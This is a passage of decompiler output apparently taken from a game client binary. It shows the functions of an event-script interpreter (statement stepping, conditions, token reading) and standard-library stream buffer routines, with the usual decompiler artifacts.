guessed type int (__stdcall *PineEventScriptNode__StateCall___vftable_)(int tr); //----- (0049E7A0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Step(PineEventScriptNode::Script *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int v4; // eax@2 char v5; // dl@3 PineEventScriptNode::ScriptAtom *v6; // eax@4 int v8; // edx@6 int v9; // edx@7 int v10; // eax@8 PineScriptToken mn; // [sp+4h] [bp-104h]@3 if ( *ip ) { v10 = ps->ps_StackPoint; if ( v10 ) { ps->ps_StackPoint = v10 - 1; return 1; } return 0; } v4 = (int)"main"; do { v5 = *(_BYTE *)v4; *(_BYTE *)((char *)&mn - "main" + v4) = *(_BYTE *)v4; ++v4; } while ( v5 ); v6 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(this, &mn); if ( !v6 ) return 0; *ip = 1; v8 = ps->ps_StackPoint; if ( (unsigned int)v8 >= 0x1F ) return 0; v9 = v8 + 1; ps->ps_StackPoint = v9; ps->ps_Stack[v9].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v6; return 1; } //----- (0049E880) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Step(PineEventScriptNode::Block *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int *v4; // ebx@1 PineEventScriptNode::Block *v5; // edi@1 PineEventScriptNode::ScriptAtom *v6; // eax@3 int v7; // edi@4 int v8; // eax@5 int v10; // ecx@7 int v11; // ecx@9 v4 = ip; v5 = this; if ( !*ip ) this->b_VarStackPoint = ps->ps_VarStack.vs_StackPoint; v6 = (PineEventScriptNode::ScriptAtom *)List::l_GetInList( (List *)this->b_StatementList, *(_WORD *)v4, (unsigned __int16 *)&ip); if ( !v6 ) { v7 = v5->b_VarStackPoint; if ( v7 >= 0 ) { v8 = ps->ps_StackPoint; ps->ps_VarStack.vs_StackPoint = v7; if ( v8 ) { ps->ps_StackPoint = v8 - 1; return 1; } } return 0; } ++*v4; v10 = ps->ps_StackPoint; if ( (unsigned int)v10 >= 0x1F ) return 0; v11 = v10 + 1; ps->ps_StackPoint = v11; ps->ps_Stack[v11].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v6; return 1; } //----- (0049E920) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Step(PineEventScriptNode::Statement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ScriptAtom *v4; // edx@2 int v5; // ecx@2 int v6; // ecx@3 int v8; // eax@4 if ( !*ip ) { *ip = 1; v4 = this->s_Statement; v5 = ps->ps_StackPoint; if ( (unsigned int)v5 < 0x1F ) { v6 = v5 + 1; ps->ps_StackPoint = v6; ps->ps_Stack[v6].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v4; return 1; } return 0; } v8 = ps->ps_StackPoint; if ( !v8 ) return 0; ps->ps_StackPoint = v8 - 1; return 1; } //----- (0049E990) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Step(PineEventScriptNode::StateInfinite *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int v4; // edx@1 unsigned __int16 result; // ax@2 int v6; // edx@3 v4 = ps->ps_StackPoint; if ( (unsigned int)v4 < 0x1F ) { v6 = v4 + 1; ps->ps_StackPoint = v6; ps->ps_Stack[v6].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = (PineEventScriptNode::ScriptAtom *)&this->si_Block; result = 1; } else { result = 0; } return result; } //----- (0049E9D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Step(PineEventScriptNode::StateWhile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateWhile *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@1 PineScriptToken *v6; // eax@1 bool v7; // zf@1 int v8; // eax@1 int v10; // eax@6 PineScriptToken tmp; // [sp+8h] [bp-104h]@1 v4 = this; v5 = this->sw_Condition.baseclass_0.vfptr; tmp.pst_Buffer[0] = 0; v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &tmp, ps); v7 = PineScriptToken::pst_GetNumber(v6, 0) == 0; v8 = ps->ps_StackPoint; if ( !v7 ) { if ( (unsigned int)v8 < 0x1F ) { v10 = v8 + 1; ps->ps_StackPoint = v10; ps->ps_Stack[v10].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = (PineEventScriptNode::ScriptAtom *)&v4->sw_Block; return 1; } return 0; } if ( !v8 ) return 0; ps->ps_StackPoint = v8 - 1; return 1; } //----- (0049EA80) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Step(PineEventScriptNode::StateIf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateIf *v4; // esi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@2 PineScriptToken *v6; // eax@2 PineEventScriptNode::ScriptAtom *v7; // esi@3 int v8; // eax@6 PineScriptToken tmp; // [sp+8h] [bp-104h]@2 v4 = this; if ( *ip || ((*ip = 1, v5 = this->si_Condition.baseclass_0.vfptr, tmp.pst_Buffer[0] = 0, v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &tmp, ps), !PineScriptToken::pst_GetNumber(v6, 0)) ? (v7 = v4->si_False) : (v7 = v4->si_True), !v7) ) { v8 = ps->ps_StackPoint; if ( v8 ) { ps->ps_StackPoint = v8 - 1; LOWORD(v8) = 1; } } else { LOWORD(v8) = PineScriptStack::ProcessStack::ps_Push(ps, v7); } return v8; } //----- (0049EB50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePrint::sa_Step(PineEventScriptNode::StatePrint *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ScriptAtomVtbl *v4; // eax@1 int v5; // eax@1 PineScriptToken prnt; // [sp+4h] [bp-104h]@1 v4 = this->baseclass_0.sbe_Express.baseclass_0.vfptr; prnt.pst_Buffer[0] = 0; ((void (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sa_Calculate)(&prnt, ps); v5 = ps->ps_StackPoint; if ( v5 ) { ps->ps_StackPoint = v5 - 1; LOWORD(v5) = 1; } return v5; } //----- (0049EBC0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Express::sa_Load(PineEventScriptNode::Express *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Express *v2; // esi@1 unsigned __int16 result; // ax@1 void *v4; // eax@4 v2 = this; result = this->e_Term.baseclass_0.vfptr->sa_Load(&this->e_Term, tr); if ( result ) { if ( (unsigned __int16)v2->e_Oper.baseclass_0.vfptr->sa_Load(&v2->e_Oper, tr) ) { v4 = operator new(0x11Cu); if ( v4 ) { *(_DWORD *)v4 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v4 + 3) = 0; *((_DWORD *)v4 + 2) = 0; *((_DWORD *)v4 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v4 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v4 + 20) = 0; *((_DWORD *)v4 + 69) = 0; *((_DWORD *)v4 + 70) = 0; v2->e_Express = (PineEventScriptNode::Express *)v4; result = (**(int (__thiscall ***)(_DWORD, _DWORD))v4)(v4, tr); } else { v2->e_Express = 0; result = (*(int (__thiscall **)(_DWORD, _DWORD))v0)(0, tr); } } else { result = 1; } } return result; } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (0049EC60) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Load(PineEventScriptNode::Statement *this, PineScriptReader::TokenReader *tr) { int v2; // eax@1 PineEventScriptNode::Statement *v3; // esi@1 int v4; // eax@2 PineEventScriptNode::ScriptAtom *v5; // eax@3 void *v6; // ST00_4@4 v2 = ps_statementlist.sl_Point; v3 = this; while ( 1 ) { ps_statementlist.sl_Pnt = v2 - 1; v4 = ((int (*)(void))ps_statementlist.sl_Array[v2 - 1]->baseclass_0.vfptr[1].sa_Load)(); v3->s_Statement = (PineEventScriptNode::ScriptAtom *)v4; if ( (unsigned __int16)(**(int (__thiscall ***)(_DWORD, _DWORD))v4)(v4, tr) ) break; v5 = v3->s_Statement; if ( v5 ) { v6 = v3->s_Statement; v5->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v6); } v2 = ps_statementlist.sl_Pnt; if ( !ps_statementlist.sl_Pnt ) return 0; } return 1; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (0049ECC0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Express::sa_Calculate(PineEventScriptNode::Express *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Express *v3; // esi@1 PineScriptToken *result; // eax@3 PineEventScriptNode::Express *v5; // ecx@4 PineScriptToken tmp; // [sp+10h] [bp-104h]@4 v3 = this; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))this->e_Term.baseclass_0.vfptr->sa_Calculate)( buffer, ps) ) { if ( v3->e_Express ) { v5 = v3->e_Express; tmp.pst_Buffer[0] = 0; ((void (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->baseclass_0.vfptr->sa_Calculate)( &tmp, ps); switch ( v3->e_Oper.co_OperType ) { case 9: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xA: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xB: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xC: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xD: result = PineScriptToken::pst_Merge(buffer, &tmp); break; default: goto LABEL_10; } } else { result = buffer; } } else { LABEL_10: result = 0; } return result; } //----- (0049EE30) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Condition::sa_Calculate(PineEventScriptNode::Condition *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Condition *v3; // esi@1 PineEventScriptNode::ScriptAtomVtbl *v4; // eax@1 int v5; // esi@2 int v6; // eax@2 PineScriptToken *result; // eax@2 int v8; // esi@3 int v9; // eax@3 int v10; // esi@4 int v11; // eax@4 int v12; // esi@5 int v13; // eax@5 int v14; // esi@6 int v15; // eax@6 int v16; // esi@7 int v17; // eax@7 unsigned __int16 v18; // ax@8 unsigned __int16 v19; // ax@9 PineScriptToken right; // [sp+10h] [bp-204h]@1 PineScriptToken left; // [sp+110h] [bp-104h]@1 v3 = this; v4 = this->c_Left.baseclass_0.vfptr; left.pst_Buffer[0] = 0; right.pst_Buffer[0] = 0; ((void (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sa_Calculate)(&left, ps); v3->c_Right.baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)&v3->c_Right, &right, ps); buffer->pst_Buffer[0] = 0; switch ( v3->c_Oper.co_OperType ) { case 1: v5 = PineScriptToken::pst_GetNumber(&right, 0); v6 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v6 == v5); break; case 2: v8 = PineScriptToken::pst_GetNumber(&right, 0); v9 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v9 != v8); break; case 3: v10 = PineScriptToken::pst_GetNumber(&right, 0); v11 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v11 < v10); break; case 4: v12 = PineScriptToken::pst_GetNumber(&right, 0); v13 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v13 > v12); break; case 5: v14 = PineScriptToken::pst_GetNumber(&right, 0); v15 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v15 <= v14); break; case 6: v16 = PineScriptToken::pst_GetNumber(&right, 0); v17 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v17 >= v16); break; case 7: v18 = PineScriptToken::operator__(&left, right.pst_Buffer); result = PineScriptToken::pst_MergeNumber(buffer, v18); break; case 8: v19 = PineScriptToken::operator__(&left, right.pst_Buffer); result = PineScriptToken::pst_MergeNumber(buffer, v19); break; default: result = 0; break; } return result; } //----- (0049F0D0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadNumber(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *i; // esi@1 signed int v3; // edx@2 int v4; // edx@10 PineScriptToken *result; // eax@12 for ( i = this; ; ++i->tr_BufPnt ) { v3 = i->tr_CharReader.cr_UngetBuffer; if ( v3 == -1 ) v3 = PineScriptReader::CharacterReader::cr_GetCh(&i->tr_CharReader); else i->tr_CharReader.cr_UngetBuffer = -1; if ( v3 == -1 || v3 <= 32 ) goto LABEL_12; if ( v3 < 48 || v3 > 57 ) break; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = v3; } if ( PineScriptReader::TokenReader::tr_IsOper(i, v3) ) { i->tr_CharReader.cr_UngetBuffer = v4; LABEL_12: result = tkn; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = 0; memcpy(tkn, &i->tr_Buffer, 0x100u); return result; } i->tr_ErrCode = "Number read fail"; return 0; } //----- (0049F160) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadIdent(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *i; // esi@1 int v3; // eax@2 PineScriptToken *result; // eax@16 for ( i = this; ; ++i->tr_BufPnt ) { v3 = i->tr_CharReader.cr_UngetBuffer; if ( v3 == -1 ) v3 = PineScriptReader::CharacterReader::cr_GetCh(&i->tr_CharReader); else i->tr_CharReader.cr_UngetBuffer = -1; if ( v3 == -1 || v3 < 32 ) break; if ( (v3 < 48 || v3 > 57) && (v3 < 65 || v3 > 90) && (v3 < 97 || v3 > 122) && v3 != 95 ) { i->tr_CharReader.cr_UngetBuffer = v3; break; } i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = v3; } result = tkn; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = 0; memcpy(tkn, &i->tr_Buffer, 0x100u); return result; } //----- (0049F1F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementList::_StatementList(PineEventScriptNode::StatementList *this) { PineEventScriptNode::StatementList *v1; // edi@1 int i; // esi@1 PineEventScriptNode::CompareOperator *v3; // ecx@2 void *v4; // ecx@3 v1 = this; for ( i = 0; i < v1->sl_Point; ++i ) { v3 = (PineEventScriptNode::CompareOperator *)v1->sl_Array[i]; if ( v3 ) { PineEventScriptNode::CalculateOperator::_CalculateOperator(v3); operator delete(v4); } } } //----- (0049F230) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::ProcessStack(PineScriptStack::ProcessStack *this) { PineScriptStack::ProcessStack *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( &this->ps_VarStack, 0x200u, 128, (void (__thiscall *)(void *))PineScriptStack::VariableStack::VarArray::VarArray, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->ps_ScriptName.pst_Buffer[0] = 0; *(_DWORD *)&v1->gap10114[20] = 0; *(_DWORD *)&v1->gap10114[16] = 0; } //----- (0049F270) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_ExitBlock(PineScriptStack::ProcessStack *this, PineScriptToken *exitblock) { PineScriptStack::ProcessStack *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 unsigned __int16 result; // ax@4 v2 = this; if ( (unsigned __int16)((int (__stdcall *)(_DWORD))this->ps_Stack[this->ps_StackPoint].node->vfptr->sa_BlockNameCheck)(exitblock) ) { LABEL_4: v2->ps_Stack[v2->ps_StackPoint].ip = 9999; result = 1; } else { while ( 1 ) { v3 = v2->ps_StackPoint; if ( !v3 ) break; v4 = v3 - 1; v2->ps_StackPoint = v4; if ( (unsigned __int16)((int (__stdcall *)(_DWORD))v2->ps_Stack[v4].node->vfptr->sa_BlockNameCheck)(exitblock) ) goto LABEL_4; } result = 0; } return result; } //----- (0049F2D0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_FindVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname) { PineScriptToken *result; // eax@4 if ( !(_S90_1 & 1) ) { _S90_1 |= 1u; deftkn.pst_Buffer[0] = 0; atexit(_E91_1); } if ( varname ) { result = PineScriptStack::VariableStack::vs_FindVariable(&this->ps_VarStack, varname); if ( !result ) result = &deftkn; } else { AssertClass::ac_AssertFail(&shineassert, "Null variable", byte_5A62A6); result = &deftkn; } return result; } //----- (0049F350) -------------------------------------------------------- void __thiscall std::basic_streambuf>::_basic_streambuf>(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // ebx@1 void *v2; // edi@1 int v3; // esi@2 unsigned int v4; // eax@3 int v5; // esi@6 std::_Lockit thisa; // [sp+0h] [bp-4h]@1 thisa._Locktype = (int)this; v1 = this; v2 = (void *)this->_Plocale; this->vfptr = (std::basic_streambuf >Vtbl *)&std::basic_streambuf>::_vftable_; if ( v2 ) { v3 = *(_DWORD *)v2; if ( *(_DWORD *)v2 ) { std::_Lockit::_Lockit(&thisa, 0); v4 = *(_DWORD *)(v3 + 4); if ( v4 && v4 < 0xFFFFFFFF ) *(_DWORD *)(v3 + 4) = v4 - 1; v5 = ((*(_DWORD *)(v3 + 4) != 0) - 1) & v3; std::_Lockit::__Lockit(&thisa); if ( v5 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v5)(v5, 1); } operator delete(v2); } std::_Mutex::__Mutex(&v1->_Mylock); } // 5BD9EC: using guessed type int (__thiscall *std__basic_streambuf_char_std__char_traits_char_____vftable_)(void *p, char); //----- (0049F3C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_smo_CrossCounterDamage(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm) { return -1; } //----- (0049F3D0) -------------------------------------------------------- int __thiscall std::basic_streambuf>::underflow(std::basic_streambuf > *this) { return -1; } //----- (0049F3E0) -------------------------------------------------------- int __thiscall std::basic_streambuf>::uflow(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // esi@1 int result; // eax@1 v1 = this; result = ((int (*)(void))this->vfptr->underflow)(); if ( result != -1 ) result = (unsigned __int8)*std::basic_streambuf>::_Gninc(v1); return result; } //----- (0049F400) -------------------------------------------------------- char *__thiscall std::basic_streambuf>::_Gninc(std::basic_streambuf > *this) { char **v1; // ecx@1 --*this->_IGcount; v1 = this->_IGnext; return (*v1)++; } //----- (0049F410) -------------------------------------------------------- int __thiscall std::basic_streambuf>::xsgetn(std::basic_streambuf > *this, char *_Ptr, int _Count) { int v3; // edi@1 int result; // eax@1 std::basic_streambuf > *v5; // ebx@1 void *v6; // ebp@2 const void *v7; // esi@3 unsigned int v8; // eax@4 int v9; // eax@8 int _Copied; // [sp+0h] [bp-4h]@1 v3 = _Count; result = 0; v5 = this; _Copied = 0; if ( _Count > 0 ) { v6 = _Ptr; do { v7 = *v5->_IGnext; if ( v7 && (v8 = *v5->_IGcount, (signed int)v8 > 0) ) { if ( v3 < (signed int)v8 ) v8 = v3; memcpy(v6, v7, v8); _Copied += v8; *v5->_IGcount -= v8; v3 = _Count - v8; v6 = (char *)v6 + v8; _Count -= v8; *v5->_IGnext += v8; } else { v9 = v5->vfptr->uflow(v5); if ( v9 == -1 ) break; *(_BYTE *)v6 = v9; v6 = (char *)v6 + 1; --v3; ++_Copied; _Count = v3; } } while ( v3 > 0 ); result = _Copied; } return result; } //----- (0049F4B0) -------------------------------------------------------- int __thiscall std::basic_streambuf>::xsputn(std::basic_streambuf > *this, const char *_Ptr, int _Count) { int v3; // esi@1 int result; // eax@1 std::basic_streambuf > *v5; // ebx@1 const void *v6; // ebp@2 void *v7; // edi@3 unsigned int v8; // eax@4 int _Copied; // [sp+4h] [bp-4h]@1 v3 = _Count; result = 0; v5 = this; _Copied = 0; if ( _Count > 0 ) { v6 = _Ptr; do { v7 = *v5->_IPnext; if ( v7 && (v8 = *v5->_IPcount, (signed int)v8 > 0) ) { if ( v3 < (signed int)v8 ) v8 = v3; memcpy(v7, v6, v8); _Copied += v8; *v5->_IPcount -= v8; v6 = (char *)v6 + v8; _Count -= v8; *v5->_IPnext += v8; v3 = _Count; } else { if ( v5->vfptr->overflow(v5, *(_BYTE *)v6) == -1 ) break; v6 = (char *)v6 + 1; --v3; ++_Copied; _Count = v3; } } while ( v3 > 0 ); result = _Copied; } return result; } //----- (0049F560) -------------------------------------------------------- std::fpos *__thiscall std::basic_streambuf>::seekoff(std::basic_streambuf > *this, std::fpos *result, int __formal, int a4, int a5) { std::fpos *v5; // eax@1 v5 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v5; } // 5E874C: using guessed type const __int32 std___BADOFF; // 124A4B1C: using guessed type int std__fpos_int____Stz; // 146D0000: using guessed type __int64 std___Fpz; //----- (0049F590) -------------------------------------------------------- std::fpos *__thiscall std::basic_streambuf>::seekpos(std::basic_streambuf > *this, std::fpos *result, std::fpos __formal, int a4) { std::fpos *v4; // eax@1 v4 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v4; } // 5E874C: using guessed type const __int32 std___BADOFF; // 124A4B1C: using guessed type int std__fpos_int____Stz; // 146D0000: using guessed type __int64 std___Fpz; //----- (0049F5C0) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this) { std::basic_streambuf > *v1; // esi@1 v1 = (std::basic_streambuf > *)this; this->baseclass_0.vfptr = (std::basic_streambuf >Vtbl *)&std::basic_stringbuf_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::_Tidy(this); std::basic_streambuf>::_basic_streambuf>(v1); } // 5BDA20: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); //----- (0049F5E0) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::pbackfail(std::basic_stringbuf,std::allocator > *this, int _Meta) { char *v2; // eax@1 int result; // eax@7 v2 = *this->baseclass_0._IGnext; if ( !v2 || v2 <= *this->baseclass_0._IGfirst || _Meta != -1 && (_BYTE)_Meta != *(v2 - 1) && this->_Mystate & 2 ) { result = -1; } else { ++*this->baseclass_0._IGcount; --*this->baseclass_0._IGnext; if ( _Meta == -1 ) { result = 0; } else { **this->baseclass_0._IGnext = _Meta; result = _Meta; } } return result; } //----- (0049F640) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::underflow(std::basic_stringbuf,std::allocator > *this) { char **v1; // edx@1 char *v2; // esi@1 int result; // eax@2 int *v4; // edi@3 char *v5; // eax@6 v1 = this->baseclass_0._IGnext; v2 = *v1; if ( *v1 ) { v4 = this->baseclass_0._IGcount; if ( *v1 >= &(*v1)[*v4] ) { if ( this->_Mystate & 4 || (v5 = *this->baseclass_0._IPnext) == 0 || v5 <= v2 && this->_Seekhigh <= v2 ) { result = -1; } else { if ( this->_Seekhigh < v5 ) this->_Seekhigh = v5; *v4 = this->_Seekhigh - *v1; result = **this->baseclass_0._IGnext; } } else { result = (unsigned __int8)*v2; } } else { result = -1; } return result; } //----- (0049F6B0) -------------------------------------------------------- std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekoff(std::basic_stringbuf,std::allocator > *this, std::fpos *result, int _Off, int _Way, int _Which) { char **v5; // edx@1 char *v6; // eax@1 char *v7; // esi@5 const __int32 v8; // edi@6 unsigned int v9; // edx@7 char *v10; // eax@15 int v11; // eax@16 char **v12; // edi@17 char *v13; // esi@18 int v14; // eax@18 char *v15; // esi@21 char *v16; // eax@29 int v17; // eax@30 std::fpos *v18; // eax@32 v5 = this->baseclass_0._IPnext; v6 = *v5; if ( *v5 && this->_Seekhigh < v6 ) this->_Seekhigh = v6; if ( !(_Which & 1) || (v7 = *this->baseclass_0._IGnext) == 0 ) { if ( !(_Which & 2) || (v15 = *v5) == 0 ) { v9 = std::_BADOFF; goto LABEL_32; } v8 = std::_BADOFF; if ( _Way == 2 ) { v9 = this->_Seekhigh - *this->baseclass_0._IGfirst + _Off; } else { if ( _Way == 1 ) { v9 = v15 - *this->baseclass_0._IGfirst + _Off; } else { v9 = std::_BADOFF; if ( !_Way ) v9 = _Off; } } if ( (v9 & 0x80000000u) == 0 ) { v16 = *this->baseclass_0._IGfirst; if ( (signed int)v9 <= (signed int)(this->_Seekhigh - v16) ) { v17 = v9 + v16 - v15; *this->baseclass_0._IPcount -= v17; *this->baseclass_0._IPnext += v17; goto LABEL_32; } } goto LABEL_19; } v8 = std::_BADOFF; if ( _Way != 2 ) { if ( _Way == 1 ) { if ( !(_Which & 2) ) { v9 = v7 - *this->baseclass_0._IGfirst + _Off; goto LABEL_14; } } else { if ( !_Way ) { v9 = _Off; goto LABEL_14; } } v9 = std::_BADOFF; goto LABEL_14; } v9 = this->_Seekhigh - *this->baseclass_0._IGfirst + _Off; LABEL_14: if ( (v9 & 0x80000000u) != 0 || (v10 = *this->baseclass_0._IGfirst, (signed int)v9 > (signed int)(this->_Seekhigh - v10)) ) { LABEL_19: v9 = v8; goto LABEL_32; } v11 = v9 + v10 - v7; *this->baseclass_0._IGcount -= v11; *this->baseclass_0._IGnext += v11; if ( _Which & 2 ) { v12 = this->baseclass_0._IPnext; if ( *v12 ) { v13 = *this->baseclass_0._IGnext; v14 = (int)&(*v12)[*this->baseclass_0._IPcount]; *v12 = v13; *this->baseclass_0._IPcount = v14 - (_DWORD)v13; } } LABEL_32: v18 = result; result->_Myoff = v9; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v18; } // 5E874C: using guessed type const __int32 std___BADOFF; // 124A4B1C: using guessed type int std__fpos_int____Stz; // 146D0000: using guessed type __int64 std___Fpz; //----- (0049F820) -------------------------------------------------------- std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekpos(std::basic_stringbuf,std::allocator > *this, std::fpos *result, std::fpos _Ptr, int _Mode) { char **v4; // edi@1 int v5; // edx@1 char *v6; // eax@1 char *v7; // esi@6 char *v8; // eax@8 int v9; // eax@9 char **v10; // edi@10 char *v11; // esi@11 int v12; // eax@11 char *v13; // edi@13 char *v14; // eax@15 int v15; // eax@16 std::fpos *v16; // eax@18 v4 = this->baseclass_0._IPnext; v5 = _Ptr._Myoff + LODWORD(_Ptr._Fpos); v6 = *v4; if ( *v4 && this->_Seekhigh < v6 ) this->_Seekhigh = v6; if ( v5 != std::_BADOFF ) { if ( _Mode & 1 && (v7 = *this->baseclass_0._IGnext) != 0 ) { if ( v5 >= 0 ) { v8 = *this->baseclass_0._IGfirst; if ( v5 <= (signed int)(this->_Seekhigh - v8) ) { v9 = v5 + v8 - v7; *this->baseclass_0._IGcount -= v9; *this->baseclass_0._IGnext += v9; if ( _Mode & 2 ) { v10 = this->baseclass_0._IPnext; if ( *v10 ) { v11 = *this->baseclass_0._IGnext; v12 = (int)&(*v10)[*this->baseclass_0._IPcount]; *v10 = v11; *this->baseclass_0._IPcount = v12 - (_DWORD)v11; } } goto LABEL_18; } } } else { if ( _Mode & 2 ) { v13 = *v4; if ( v13 ) { if ( v5 >= 0 ) { v14 = *this->baseclass_0._IGfirst; if ( v5 <= (signed int)(this->_Seekhigh - v14) ) { v15 = v5 + v14 - v13; *this->baseclass_0._IPcount -= v15; *this->baseclass_0._IPnext += v15; goto LABEL_18; } } } } } v5 = std::_BADOFF; } LABEL_18: v16 = result; result->_Myoff = v5; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v16; } // 5E874C: using guessed type const __int32 std___BADOFF; // 124A4B1C: using guessed type int std__fpos_int____Stz; // 146D0000: using guessed type __int64 std___Fpz; //----- (0049F910) -------------------------------------------------------- void *__thiscall std::basic_ostream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2) { void *v2; // esi@1 v2 = (char *)this - 4; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 1) + 4) - 4) = &std::basic_ostream>::_vftable_; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 5BD8F8: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); //----- (0049F940) -------------------------------------------------------- void *__thiscall std::basic_istream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2) { void *v2; // esi@1 v2 = (char *)this - 8; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 2) + 4) - 8) = std::basic_istream>::_vftable_; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 5BD900: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); //----- (0049F970) -------------------------------------------------------- void *__thiscall std::basic_streambuf>::_vector_deleting_destructor_(std::basic_streambuf > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_streambuf>::_basic_streambuf>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- 